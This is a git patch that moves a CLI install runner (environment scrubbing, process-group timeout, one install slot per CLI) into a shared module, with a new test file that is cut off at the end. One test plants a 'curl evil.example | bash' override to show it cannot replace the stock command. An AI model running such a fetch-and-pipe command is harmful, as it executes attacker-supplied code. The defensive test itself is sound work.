From be9279de35a8daeb4e0bc70fddf7bc7f65cbe76f Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Fri, 6 Nov 2026 22:16:38 +0100 Subject: [PATCH] refactor(cli-registry): move the CLI install runner into a shared module The runner that executes a CLI's stock install command (the environment without CODEMAN_*, the npm prefix redirect, the bounded process group, the one install per CLI at a time) moves from cli-registry-routes.ts to src/cli-install-runner.ts, so the local model install can use the same one. The route re-exports installEnv and npmGlobalPrefixWritable and behaves as before; its tests are unchanged. New in the shared module: an abort signal that kills the process group, stockInstallCommand() (the compiled stock command, never the clis.json one) and tryBeginCliInstall(), the one install slot per CLI for both callers. Co-Authored-By: Claude Fable 5.1 --- src/cli-install-runner.ts | 240 +++++++++++++++++++-- src/web/routes/cli-registry-routes.ts | 231 ++------------------ test/cli-install-runner.test.ts | 298 ++++++++++++++++++++++++++ 3 files changed, 534 insertions(+), 235 deletions(-) create mode 100644 test/cli-install-runner.test.ts diff --git a/src/cli-install-runner.ts b/src/cli-install-runner.ts index 99d3a1a4..d74dd5a0 100644 --- a/src/cli-install-runner.ts +++ b/src/cli-install-runner.ts @@ -3,12 +3,11 @@ * executes an install one-liner, used by `POST /api/clis/:id/install` * (src/web/routes/cli-registry-routes.ts) and by the local model install job. * - * CONTRACT STAGE: `CLI_INSTALL_TIMEOUT_MS` is final. Every function below has its final - * signature and a body that throws. The bodies are MOVED here from cli-registry-routes.ts - * next, and that route keeps its behaviour byte for byte (same answers, same audit entry, - * same 409 for a second install of one id, same environment). + * The code was moved here from cli-registry-routes.ts, and that route keeps its behaviour + * byte for byte (same answers, same audit entry, same 409 for a second install of one id, + * same environment). * - * What moves, unchanged in behaviour: + * What lives here: * - `installEnv()` and `npmGlobalPrefixWritable()`: the installer's environment is the * server's minus every `CODEMAN_*` variable, with npm's global prefix pointed at a place * the server user can write. test/routes/cli-registry-routes.test.ts imports both from the @@ -32,10 +31,16 @@ * command, admin only in multi-user mode, and writes the admin audit entry itself. */ -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} +import { execFile, spawn } from 'node:child_process'; +import { constants as fsConstants } from 'node:fs'; +import { access } from 'node:fs/promises'; +import { dirname, join } from 'node:path'; +import { promisify } from 'node:util'; +import { resolveInstallCommandForPlatform } from './config/cli-registry/registry.js'; +import { STOCK_CLIS } from './config/cli-registry/stock.js'; +import { getErrorMessage } from './types.js'; +import { invalidateCliExecutableResolvers } from './utils/cli-executable-resolver.js'; +import { invalidateCliResolverCache } from './utils/cli-resolver.js'; /** How long an install command may run before its process group is killed. */ export const CLI_INSTALL_TIMEOUT_MS = 300_000; @@ -58,31 +63,207 @@ export interface RunInstallCommandOptions { } /** - * True when `npm install -g` can write to this environment's npm global prefix, or when that - * cannot be told (then nothing is redirected). Moved from cli-registry-routes.ts unchanged. + * Ids with an install running right now. A second request for the same id gets 409 rather + * than a second `curl | bash` or `npm install -g` racing the first over the same prefix. + */ +const installsInFlight = new Set(); + +const execFileAsync = promisify(execFile); + +/** + * True when `npm install -g` can write to this process's npm global prefix, or when that cannot + * be determined (then nothing is redirected: a wrong guess would move installs somewhere the + * user did not choose). `npm config get prefix` is asked rather than guessed from `process.execPath` + * because a user `.npmrc` / `NPM_CONFIG_PREFIX` can point it anywhere. + * + * Async so the server keeps serving while npm boots (130 to 240 ms), and killed with SIGKILL on + * timeout because `SIGTERM` alone leaves the wait running. A prefix that does not exist yet is + * judged by the nearest ancestor that does: npm creates the missing directories, so a user + * `.npmrc` pointing at `~/.npm-global` before it was made is not moved. */ export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise { - return notImplemented('npmGlobalPrefixWritable', source); + try { + const { stdout } = await execFileAsync('npm', ['config', 'get', 'prefix'], { + env: source, + encoding: 'utf8', + timeout: 5_000, + killSignal: 'SIGKILL', + }); + const prefix = stdout.trim(); + if (!prefix) return true; + // npm creates lib/node_modules under the prefix; walk up to the first directory that exists. + let dir = join(prefix, 'lib', 'node_modules'); + for (;;) { + try { + await access(dir, fsConstants.W_OK); + return true; + } catch (err) { + if ((err as NodeJS.ErrnoException).code !== 'ENOENT') return false; + const parent = dirname(dir); + if (parent === dir) return false; + dir = parent; + } + } + } catch { + return true; + } } /** - * The environment of an install command: `source` minus every `CODEMAN_*` variable, with - * `NPM_CONFIG_PREFIX` pointed at `$HOME/.local` inside the Compose container or when the - * global prefix is not writable. Moved from cli-registry-routes.ts unchanged. + * The server's environment minus every `CODEMAN_*` variable. An install script is third-party + * code, and those variables carry Codeman's own secrets and wiring (`CODEMAN_PASSWORD`, the + * data dir, the tmux socket), none of which an installer needs. + * + * It also points `NPM_CONFIG_PREFIX` at `$HOME/.local` so an `npm install -g` lands somewhere the + * server user can write and Codeman's resolvers already search (`~/.local/bin`): + * - inside the Docker Compose container (`CODEMAN_IN_CONTAINER=1`), so installs survive an image + * update (the image's own prefix is image content); + * - on a native install whose npm global prefix is not writable by the server user (a system node + * under `/usr`, installed by root). Without this `npm install -g` died with EACCES (exit 243), + * e.g. DeepSeek's `npm install -g @deepseek-ai/dsh`. An explicit `NPM_CONFIG_PREFIX` the + * operator set is respected, and so is a prefix that is writable (nvm, `~/.npm-global`, ...). */ export function installEnv( source: NodeJS.ProcessEnv = process.env, prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true ): NodeJS.ProcessEnv { - return notImplemented('installEnv', source, prefixWritable); + const env: NodeJS.ProcessEnv = {}; + for (const [key, value] of Object.entries(source)) { + if (!key.startsWith('CODEMAN_')) env[key] = value; + } + // ⚠️ In the Docker Compose deployment the image sets NPM_CONFIG_PREFIX=/opt/codeman-cli, which is IMAGE + // content: `Update-Codeman.sh` recreates the container and every CLI installed there (dsh, pi, ...) + // vanishes. HOME is the persistent bind mount and `~/.local/bin` is already on every resolver's search + // list, so npm-based installs are redirected there. curl|bash installers already target HOME. + if (source.CODEMAN_IN_CONTAINER === '1' && source.HOME) { + redirectNpmPrefix(env, source.HOME); + } else if (process.platform !== 'win32' && source.HOME && !source.NPM_CONFIG_PREFIX && !prefixWritable(env)) { + redirectNpmPrefix(env, source.HOME); + } + return env; } -/** Runs one install command to its end. Never throws: a spawn that fails is a result with `code: null`. */ +/** + * Point npm at `$HOME/.local`, dropping every spelling of the prefix key first. `npm run` exports a + * lowercase `npm_config_prefix`, npm reads `npm_config_*` case-insensitively, and when both spellings + * are present a `/bin/sh` that sorts its environment (bash) lets the older value win. The explicit + * operator guard in `installEnv` stays on the uppercase key only: npm always injects the lowercase one. + */ +function redirectNpmPrefix(env: NodeJS.ProcessEnv, home: string): void { + for (const key of Object.keys(env)) if (/^npm_config_prefix$/i.test(key)) delete env[key]; + env.NPM_CONFIG_PREFIX = `${home}/.local`; +} + +/** + * `installEnv` for this process, with the (async) npm prefix probe done first and only when the + * command runs npm at all: a `curl | bash` installer never pays for it. + */ +async function installEnvFor(command: string, source: NodeJS.ProcessEnv = process.env): Promise { + const usesNpm = /\bnpm\b/.test(command); + const probeNeeded = + usesNpm && + source.CODEMAN_IN_CONTAINER !== '1' && + process.platform !== 'win32' && + !!source.HOME && + !source.NPM_CONFIG_PREFIX; + const writable = probeNeeded ? await npmGlobalPrefixWritable(installEnv(source)) : true; + return installEnv(source, () => writable); +} + +/** + * Runs a STOCK entry's already-vetted install command. `shell: true` is unavoidable here: + * the shipped commands are genuinely `curl | bash` / `npm install -g` one-liners. This is NOT + * a reopening of the config-shell-text concern the registry's `shellToken` pattern exists to + * prevent: the string executed here is NEVER user input, only ever what is already hardcoded + * and reviewed in `stock.ts`, and a CUSTOM entry can never reach this function at all (see the + * guard of each caller). + * + * Never throws: a spawn that fails is a result with `code: null`. + */ export async function runInstallCommand( command: string, options: RunInstallCommandOptions = {} ): Promise { - return notImplemented('runInstallCommand', command, options); + const { signal } = options; + if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true }; + const env = await installEnvFor(command); + // The environment probe above can take a moment (npm boots): an abort during it starts nothing. + if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true }; + return new Promise((resolve) => { + let child: ReturnType; + try { + child = spawn(command, { + shell: true, + stdio: ['ignore', 'pipe', 'pipe'], + // Own process group; the timeout below kills the whole tree by hand, mirroring + // the DeepSeek profile-install endpoint's own reasoning: an install command fans + // out into package-manager children, and spawn's own `timeout` option signals + // only the direct child, leaving survivors holding the pipes open forever. + detached: true, + env, + }); + } catch (err) { + resolve({ code: null, output: `spawn failed: ${getErrorMessage(err)}`, timedOut: false, aborted: false }); + return; + } + + let output = ''; + let timedOut = false; + let aborted = false; + let settled = false; + let killTimer: NodeJS.Timeout | undefined; + let reapTimer: NodeJS.Timeout | undefined; + + const capture = (chunk: Buffer) => { + if (output.length < 16_384) output += chunk.toString('utf-8'); + }; + child.stdout?.on('data', capture); + child.stderr?.on('data', capture); + + const killTree = (killSignal: NodeJS.Signals) => { + try { + if (child.pid) process.kill(-child.pid, killSignal); + } catch { + /* already gone */ + } + }; + + /** SIGTERM to the group, SIGKILL three seconds later, and give up waiting after eight. */ + const stopTree = () => { + if (killTimer) return; + killTree('SIGTERM'); + killTimer = setTimeout(() => killTree('SIGKILL'), 3_000); + reapTimer = setTimeout(() => finish(null), 8_000); + }; + + const onAbort = () => { + aborted = true; + stopTree(); + }; + + const finish = (code: number | null) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (killTimer) clearTimeout(killTimer); + if (reapTimer) clearTimeout(reapTimer); + signal?.removeEventListener('abort', onAbort); + resolve({ code, output, timedOut, aborted }); + }; + + const timer = setTimeout(() => { + timedOut = true; + stopTree(); + }, CLI_INSTALL_TIMEOUT_MS); + + signal?.addEventListener('abort', onAbort, { once: true }); + + child.on('error', (err) => { + output = `${output}\n${err.message}`; + finish(null); + }); + child.on('close', (code) => finish(code)); + }); } /** @@ -90,7 +271,10 @@ export async function runInstallCommand( * `STOCK_CLIS`. `undefined` for an id that is not a stock CLI or has no command here. */ export function stockInstallCommand(id: string): string | undefined { - return notImplemented('stockInstallCommand', id); + const entry = STOCK_CLIS.find((candidate) => (candidate.id as string) === id); + if (!entry) return undefined; + const command = resolveInstallCommandForPlatform(entry); + return command !== undefined && command.trim() !== '' ? command : undefined; } /** @@ -98,13 +282,23 @@ export function stockInstallCommand(id: string): string | undefined { * an install of that CLI is already running (the caller answers 409 or waits). */ export function tryBeginCliInstall(id: string): (() => void) | null { - return notImplemented('tryBeginCliInstall', id); + if (installsInFlight.has(id)) return null; + installsInFlight.add(id); + let released = false; + return () => { + if (released) return; + released = true; + installsInFlight.delete(id); + }; } /** - * Forgets every cached binary lookup of a CLI: the per-id resolver and every per-binary cache, - * hits and misses alike. Called after anything that may have changed what is on disk. + * Forgets every cached binary lookup of a CLI: the generic per-id resolver (which captures + * the entry's binaries when first built) and every per-binary cache, hits and negative-cache + * backoff alike. Called after anything that changes what is on disk or what the CLI's binary + * IS; see `invalidateCliExecutableResolvers`. */ export function forgetResolvedCli(id: string, binaries: readonly string[]): void { - return notImplemented('forgetResolvedCli', id, binaries); + invalidateCliExecutableResolvers(binaries); + invalidateCliResolverCache(id); } diff --git a/src/web/routes/cli-registry-routes.ts b/src/web/routes/cli-registry-routes.ts index d0a9f116..44cbd072 100644 --- a/src/web/routes/cli-registry-routes.ts +++ b/src/web/routes/cli-registry-routes.ts @@ -29,13 +29,8 @@ * write path (`registry-writer.ts` mirrors `custom-model-hosts.ts`). */ -import { execFile, spawn } from 'node:child_process'; -import { constants as fsConstants } from 'node:fs'; -import { access } from 'node:fs/promises'; -import { dirname, join } from 'node:path'; -import { promisify } from 'node:util'; import type { FastifyInstance, FastifyRequest } from 'fastify'; -import { ApiErrorCode, createErrorResponse, getErrorMessage, type ApiResponse } from '../../types.js'; +import { ApiErrorCode, createErrorResponse, type ApiResponse } from '../../types.js'; import { getAuthUser, isAdmin, parseBody, readJsonConfig, SETTINGS_PATH } from '../route-helpers.js'; import { isMultiUserMode } from '../../config/multiuser.js'; import { listClis, resolveInstallCommandForPlatform } from '../../config/cli-registry/registry.js'; @@ -45,9 +40,18 @@ import { STOCK_CLIS } from '../../config/cli-registry/stock.js'; import type { CliEntry } from '../../config/cli-registry/types.js'; import { CliCustomEntrySchema, CliEnableSchema } from '../schemas.js'; import { appendAdminAudit } from '../admin-audit.js'; -import { invalidateCliExecutableResolvers } from '../../utils/cli-executable-resolver.js'; -import { invalidateCliResolverCache } from '../../utils/cli-resolver.js'; import { isCliEntryInstalled, probeStockCliAvailability } from '../../utils/cli-installed-probes.js'; +import { + CLI_INSTALL_TIMEOUT_MS, + forgetResolvedCli, + runInstallCommand, + tryBeginCliInstall, + type CliInstallResult, +} from '../../cli-install-runner.js'; + +// The install runner lives in src/cli-install-runner.ts, shared with the local model install +// job. These two stay importable from here, where the route's tests take them from. +export { installEnv, npmGlobalPrefixWritable } from '../../cli-install-runner.js'; /** * `cliManagementEnabled` defaults OFF, same reasoning as @@ -78,17 +82,6 @@ export interface CliListItem { installCommand?: string; } -/** - * Forget every cached binary lookup for this CLI — the generic per-id resolver (which - * captures the entry's binaries when first built) and every underlying per-binary cache, - * success and negative-cache backoff alike. Called after anything that changes what is on - * disk or what the CLI's binary IS; see `invalidateCliExecutableResolvers`. - */ -function forgetResolvedCli(id: string, binaries: readonly string[]): void { - invalidateCliExecutableResolvers(binaries); - invalidateCliResolverCache(id); -} - const STOCK_IDS = new Set(STOCK_CLIS.map((e) => e.id as string)); /** @@ -202,195 +195,6 @@ function nextOrder(): number { return (orders.length ? Math.max(...orders) : 0) + 10; } -/** Bounded execution: `PATH_INSTALL_TIMEOUT_MS`, output capped, process GROUP killed on timeout. */ -const CLI_INSTALL_TIMEOUT_MS = 300_000; - -/** - * Ids with an install running right now. A second request for the same id gets 409 rather - * than a second `curl | bash` or `npm install -g` racing the first over the same prefix. - */ -const installsInFlight = new Set(); - -const execFileAsync = promisify(execFile); - -/** - * True when `npm install -g` can write to this process's npm global prefix, or when that cannot - * be determined (then nothing is redirected: a wrong guess would move installs somewhere the - * user did not choose). `npm config get prefix` is asked rather than guessed from `process.execPath` - * because a user `.npmrc` / `NPM_CONFIG_PREFIX` can point it anywhere. - * - * Async so the server keeps serving while npm boots (130 to 240 ms), and killed with SIGKILL on - * timeout because `SIGTERM` alone leaves the wait running. A prefix that does not exist yet is - * judged by the nearest ancestor that does: npm creates the missing directories, so a user - * `.npmrc` pointing at `~/.npm-global` before it was made is not moved. - */ -export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise { - try { - const { stdout } = await execFileAsync('npm', ['config', 'get', 'prefix'], { - env: source, - encoding: 'utf8', - timeout: 5_000, - killSignal: 'SIGKILL', - }); - const prefix = stdout.trim(); - if (!prefix) return true; - // npm creates lib/node_modules under the prefix; walk up to the first directory that exists. - let dir = join(prefix, 'lib', 'node_modules'); - for (;;) { - try { - await access(dir, fsConstants.W_OK); - return true; - } catch (err) { - if ((err as NodeJS.ErrnoException).code !== 'ENOENT') return false; - const parent = dirname(dir); - if (parent === dir) return false; - dir = parent; - } - } - } catch { - return true; - } -} - -/** - * The server's environment minus every `CODEMAN_*` variable. An install script is third-party - * code, and those variables carry Codeman's own secrets and wiring (`CODEMAN_PASSWORD`, the - * data dir, the tmux socket), none of which an installer needs. - * - * It also points `NPM_CONFIG_PREFIX` at `$HOME/.local` so an `npm install -g` lands somewhere the - * server user can write and Codeman's resolvers already search (`~/.local/bin`): - * - inside the Docker Compose container (`CODEMAN_IN_CONTAINER=1`), so installs survive an image - * update (the image's own prefix is image content); - * - on a native install whose npm global prefix is not writable by the server user (a system node - * under `/usr`, installed by root). Without this `npm install -g` died with EACCES (exit 243), - * e.g. DeepSeek's `npm install -g @deepseek-ai/dsh`. An explicit `NPM_CONFIG_PREFIX` the - * operator set is respected, and so is a prefix that is writable (nvm, `~/.npm-global`, ...). - */ -export function installEnv( - source: NodeJS.ProcessEnv = process.env, - prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true -): NodeJS.ProcessEnv { - const env: NodeJS.ProcessEnv = {}; - for (const [key, value] of Object.entries(source)) { - if (!key.startsWith('CODEMAN_')) env[key] = value; - } - // ⚠️ In the Docker Compose deployment the image sets NPM_CONFIG_PREFIX=/opt/codeman-cli, which is IMAGE - // content: `Update-Codeman.sh` recreates the container and every CLI installed there (dsh, pi, ...) - // vanishes. HOME is the persistent bind mount and `~/.local/bin` is already on every resolver's search - // list, so npm-based installs are redirected there. curl|bash installers already target HOME. - if (source.CODEMAN_IN_CONTAINER === '1' && source.HOME) { - redirectNpmPrefix(env, source.HOME); - } else if (process.platform !== 'win32' && source.HOME && !source.NPM_CONFIG_PREFIX && !prefixWritable(env)) { - redirectNpmPrefix(env, source.HOME); - } - return env; -} - -/** - * Point npm at `$HOME/.local`, dropping every spelling of the prefix key first. `npm run` exports a - * lowercase `npm_config_prefix`, npm reads `npm_config_*` case-insensitively, and when both spellings - * are present a `/bin/sh` that sorts its environment (bash) lets the older value win. The explicit - * operator guard in `installEnv` stays on the uppercase key only: npm always injects the lowercase one. - */ -function redirectNpmPrefix(env: NodeJS.ProcessEnv, home: string): void { - for (const key of Object.keys(env)) if (/^npm_config_prefix$/i.test(key)) delete env[key]; - env.NPM_CONFIG_PREFIX = `${home}/.local`; -} - -/** - * `installEnv` for this process, with the (async) npm prefix probe done first and only when the - * command runs npm at all: a `curl | bash` installer never pays for it. - */ -async function installEnvFor(command: string, source: NodeJS.ProcessEnv = process.env): Promise { - const usesNpm = /\bnpm\b/.test(command); - const probeNeeded = - usesNpm && - source.CODEMAN_IN_CONTAINER !== '1' && - process.platform !== 'win32' && - !!source.HOME && - !source.NPM_CONFIG_PREFIX; - const writable = probeNeeded ? await npmGlobalPrefixWritable(installEnv(source)) : true; - return installEnv(source, () => writable); -} - -interface InstallResult { - code: number | null; - output: string; - timedOut: boolean; -} - -/** - * Runs a STOCK entry's already-vetted install command. `shell: true` is unavoidable here — - * the shipped commands are genuinely `curl | bash` / `npm install -g` one-liners — but this - * is NOT a reopening of the config-shell-text concern the registry's `shellToken` pattern - * exists to prevent: the string executed here is NEVER user input, only ever what is - * already hardcoded and reviewed in `stock.ts` (`resolveInstallCommandForPlatform`), and a - * CUSTOM entry can never reach this function at all — see the route's own guard below. - */ -async function runInstallCommand(command: string): Promise { - const env = await installEnvFor(command); - return new Promise((resolve) => { - let child: ReturnType; - try { - child = spawn(command, { - shell: true, - stdio: ['ignore', 'pipe', 'pipe'], - // Own process group; the timeout below kills the whole tree by hand, mirroring - // the DeepSeek profile-install endpoint's own reasoning: an install command fans - // out into package-manager children, and spawn's own `timeout` option signals - // only the direct child, leaving survivors holding the pipes open forever. - detached: true, - env, - }); - } catch (err) { - resolve({ code: null, output: `spawn failed: ${getErrorMessage(err)}`, timedOut: false }); - return; - } - - let output = ''; - let timedOut = false; - let settled = false; - let killTimer: NodeJS.Timeout | undefined; - let reapTimer: NodeJS.Timeout | undefined; - - const capture = (chunk: Buffer) => { - if (output.length < 16_384) output += chunk.toString('utf-8'); - }; - child.stdout?.on('data', capture); - child.stderr?.on('data', capture); - - const killTree = (signal: NodeJS.Signals) => { - try { - if (child.pid) process.kill(-child.pid, signal); - } catch { - /* already gone */ - } - }; - - const finish = (code: number | null) => { - if (settled) return; - settled = true; - clearTimeout(timer); - if (killTimer) clearTimeout(killTimer); - if (reapTimer) clearTimeout(reapTimer); - resolve({ code, output, timedOut }); - }; - - const timer = setTimeout(() => { - timedOut = true; - killTree('SIGTERM'); - killTimer = setTimeout(() => killTree('SIGKILL'), 3_000); - reapTimer = setTimeout(() => finish(null), 8_000); - }, CLI_INSTALL_TIMEOUT_MS); - - child.on('error', (err) => { - output = `${output}\n${err.message}`; - finish(null); - }); - child.on('close', (code) => finish(code)); - }); -} - export function registerCliRegistryRoutes(app: FastifyInstance): void { // ---- Phase 2: read ---------------------------------------------------- // GET /api/clis — every registry entry, disabled ones included (this is an @@ -461,6 +265,8 @@ export function registerCliRegistryRoutes(app: FastifyInstance): void { // ---- Phase 4: auto-install (stock only) -------------------------------- // One install per id at a time (409 otherwise), and the script never sees CODEMAN_* env. + // Bounded execution (`CLI_INSTALL_TIMEOUT_MS`), output capped, process GROUP killed on + // timeout: all of that is `runInstallCommand()` in src/cli-install-runner.ts. // POST /api/clis/:id/install — runs the entry's already-vetted install // command. Separate endpoint from Phase 3's toggle: installing is a bigger // action than a boolean flip and gets its own audit entry. Never auto- @@ -488,15 +294,16 @@ export function registerCliRegistryRoutes(app: FastifyInstance): void { return createErrorResponse(ApiErrorCode.OPERATION_FAILED, `"${id}" has no install command for this platform`); } - if (installsInFlight.has(id)) { + // ONE slot per id, shared with the local model install job (src/cli-install-runner.ts). + const release = tryBeginCliInstall(id); + if (!release) { return createErrorResponse(ApiErrorCode.CONFLICT, `"${id}" is already being installed`); } - installsInFlight.add(id); - let result: InstallResult; + let result: CliInstallResult; try { result = await runInstallCommand(command); } finally { - installsInFlight.delete(id); + release(); } // Even a failed or timed-out install may have left a binary behind, so forget the // cached lookups either way: the next Run click or badge read probes afresh diff --git a/test/cli-install-runner.test.ts b/test/cli-install-runner.test.ts new file mode 100644 index 00000000..81628999 --- /dev/null +++ b/test/cli-install-runner.test.ts @@ -0,0 +1,298 @@ +/** + * @fileoverview The shared runner of a stock CLI's install command (src/cli-install-runner.ts): + * what is new in it since it left the registry route, and what both of its callers rely on. + * + * The route's own behaviour (answers, audit entry, environment, timeout) stays pinned by + * test/routes/cli-registry-routes.test.ts, which runs unchanged against the moved code. Here: + * - `stockInstallCommand()` reads the COMPILED stock entry, so a `clis.json` override cannot + * change what the local model install job runs; + * - the one install slot per CLI is shared: while the job holds it, the route answers 409; + * - an abort signal kills the installer's process group, and one that is already aborted + * starts nothing; + * - `forgetResolvedCli()` drops both caches. + * + * Nothing is really spawned: `spawn` is a fake child. + * + * Port: N/A (app.inject(), no live server). + */ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { EventEmitter } from 'node:events'; +import { mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { dirname } from 'node:path'; +import { createRouteTestHarness } from './routes/_route-test-utils.js'; +import { + CLI_INSTALL_TIMEOUT_MS, + forgetResolvedCli, + runInstallCommand, + stockInstallCommand, + tryBeginCliInstall, +} from '../src/cli-install-runner.js'; +import { registerCliRegistryRoutes } from '../src/web/routes/cli-registry-routes.js'; +import { SETTINGS_PATH } from '../src/web/route-helpers.js'; +import { + getCli, + registryFilePath, + reloadCliRegistry, + resolveInstallCommandForPlatform, +} from '../src/config/cli-registry/registry.js'; +import { STOCK_CLIS } from '../src/config/cli-registry/stock.js'; + +const { spawnMock, invalidateBinariesSpy, invalidateIdSpy } = vi.hoisted(() => ({ + spawnMock: vi.fn(), + invalidateBinariesSpy: vi.fn(), + invalidateIdSpy: vi.fn(), +})); +vi.mock('node:child_process', async (importOriginal) => { + const actual = await importOriginal(); + return { ...actual, spawn: spawnMock }; +}); +vi.mock('../src/utils/cli-executable-resolver.js', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + invalidateCliExecutableResolvers: (binaries: readonly string[]) => { + invalidateBinariesSpy([...binaries]); + actual.invalidateCliExecutableResolvers(binaries); + }, + }; +}); +vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + invalidateCliResolverCache: (id?: string) => { + invalidateIdSpy(id); + actual.invalidateCliResolverCache(id); + }, + }; +}); + +interface FakeChild extends EventEmitter { + pid: number; + stdout: EventEmitter; + stderr: EventEmitter; +} + +/** A spawned installer that stays alive until the test ends it. */ +function hangingChild(pid = 4_242_424): FakeChild { + const child = new EventEmitter() as FakeChild; + child.pid = pid; + child.stdout = new EventEmitter(); + child.stderr = new EventEmitter(); + return child; +} + +beforeEach(() => { + spawnMock.mockReset(); + invalidateBinariesSpy.mockClear(); + invalidateIdSpy.mockClear(); +}); + +afterEach(() => { + vi.useRealTimers(); + vi.restoreAllMocks(); +}); + +describe('stockInstallCommand', () => { + afterEach(() => { + rmSync(registryFilePath(), { force: true }); + reloadCliRegistry(); + }); + + it('is the compiled stock command of every stock CLI that has one for this platform', () => { + for (const entry of STOCK_CLIS) { + const expected = resolveInstallCommandForPlatform(entry); + expect(stockInstallCommand(entry.id as string)).toBe(expected && expected.trim() !== '' ? expected : undefined); + } + expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash'); + }); + + it('is undefined for an id that is not a stock CLI', () => { + expect(stockInstallCommand('not-a-cli')).toBeUndefined(); + expect(stockInstallCommand('')).toBeUndefined(); + expect(stockInstallCommand('__proto__')).toBeUndefined(); + }); + + it('ignores a clis.json override: the registry shows the override, the stock command stays', () => { + mkdirSync(dirname(registryFilePath()), { recursive: true }); + writeFileSync( + registryFilePath(), + JSON.stringify({ + schemaVersion: 1, + clis: { + opencode: { + discovery: { + install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } }, + }, + }, + }, + }), + { mode: 0o600 } + ); + reloadCliRegistry(); + // The override is in force for the registry (what the Settings list shows and the route runs)... + expect(resolveInstallCommandForPlatform(getCli('opencode')!)).toBe('curl evil.example | bash'); + // ...and is not what the local model install job would run. + expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash'); + }); +}); + +describe('tryBeginCliInstall', () => { + it('gives one slot per CLI id, and the slot comes back when it is released', () => { + const release = tryBeginCliInstall('slot-a'); + expect(release).toBeTypeOf('function'); + expect(tryBeginCliInstall('slot-a')).toBeNull(); + // Another CLI has its own slot. + const other = tryBeginCliInstall('slot-b'); + expect(other).toBeTypeOf('function'); + release!(); + const again = tryBeginCliInstall('slot-a'); + expect(again).toBeTypeOf('function'); + again!(); + other!(); + }); + + it('a release called twice frees the slot once: a later holder is not thrown out', () => { + const first = tryBeginCliInstall('slot-c')!; + first(); + const second = tryBeginCliInstall('slot-c')!; + first(); + expect(tryBeginCliInstall('slot-c')).toBeNull(); + second(); + }); + + it('is the slot the registry route uses: while it is held, POST /api/clis/:id/install answers 409 and spawns nothing', async () => { + mkdirSync(dirname(SETTINGS_PATH), { recursive: true }); + writeFileSync(SETTINGS_PATH, JSON.stringify({ cliManagementEnabled: true })); + const { app } = await createRouteTestHarness(registerCliRegistryRoutes); + const release = tryBeginCliInstall('grok')!; + try { + const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' }); + expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' }); + expect(spawnMock).not.toHaveBeenCalled(); + } finally { + release(); + } + // Released: the route installs again. + spawnMock.mockImplementation(() => { + const child = hangingChild(); + setImmediate(() => child.emit('close', 0)); + return child; + }); + const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' }); + expect(res.json()).toMatchObject({ success: true, data: { id: 'grok', code: 0 } }); + // And the route gave the slot back when its install ended. + const after = tryBeginCliInstall('grok'); + expect(after).toBeTypeOf('function'); + after!(); + }); +}); + +describe('runInstallCommand', () => { + it('runs the command in a shell of its own process group and reports how it ended', async () => { + spawnMock.mockImplementation(() => { + const child = hangingChild(); + setImmediate(() => { + child.stdout.emit('data', Buffer.from('installed\n')); + child.emit('close', 0); + }); + return child; + }); + const result = await runInstallCommand('echo hello'); + expect(result).toEqual({ code: 0, output: 'installed\n', timedOut: false, aborted: false }); + expect(spawnMock).toHaveBeenCalledTimes(1); + expect(spawnMock.mock.calls[0][0]).toBe('echo hello'); + expect(spawnMock.mock.calls[0][1]).toMatchObject({ shell: true, detached: true }); + }); + + it('a spawn that throws is a result, not an exception', async () => { + spawnMock.mockImplementation(() => { + throw new Error('ENOENT sh'); + }); + expect(await runInstallCommand('echo hello')).toEqual({ + code: null, + output: 'spawn failed: ENOENT sh', + timedOut: false, + aborted: false, + }); + }); + + it('a signal that is already aborted starts nothing', async () => { + const controller = new AbortController(); + controller.abort(); + expect(await runInstallCommand('echo hello', { signal: controller.signal })).toEqual({ + code: null, + output: '', + timedOut: false, + aborted: true, + }); + expect(spawnMock).not.toHaveBeenCalled(); + }); + + it('an abort kills the whole process group: SIGTERM at once, SIGKILL three seconds later', async () => { + vi.useFakeTimers(); + const kill = vi.spyOn(process, 'kill').mockImplementation(() => true); + const child = hangingChild(777_777); + spawnMock.mockImplementation(() => child); + const controller = new AbortController(); + const pending = runInstallCommand('echo hello', { signal: controller.signal }); + await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1)); + + controller.abort(); + // The negative pid is the group: the installer's own children go with it. + expect(kill).toHaveBeenCalledWith(-777_777, 'SIGTERM'); + expect(kill).not.toHaveBeenCalledWith(-777_777, 'SIGKILL'); + await vi.advanceTimersByTimeAsync(3_000); + expect(kill).toHaveBeenCalledWith(-777_777, 'SIGKILL'); + + child.emit('close', null); + expect(await pending).toEqual({ code: null, output: '', timedOut: false, aborted: true }); + }); + + it('an aborted installer that never closes is given up on after eight seconds', async () => { + vi.useFakeTimers(); + vi.spyOn(process, 'kill').mockImplementation(() => true); + spawnMock.mockImplementation(() => hangingChild()); + const controller = new AbortController(); + const pending = runInstallCommand('echo hello', { signal: controller.signal }); + await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1)); + controller.abort(); + await vi.advanceTimersByTimeAsync(8_000); + expect(await pending).toMatchObject({ code: null, aborted: true, timedOut: false }); + }); + + it('the timeout still kills the group and says so, as it did in the route', async () => { + vi.useFakeTimers(); + const kill = vi.spyOn(process, 'kill').mockImplementation(() => true); + const child = hangingChild(888_888); + spawnMock.mockImplementation(() => child); + const pending = runInstallCommand('echo hello'); + await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1)); + await 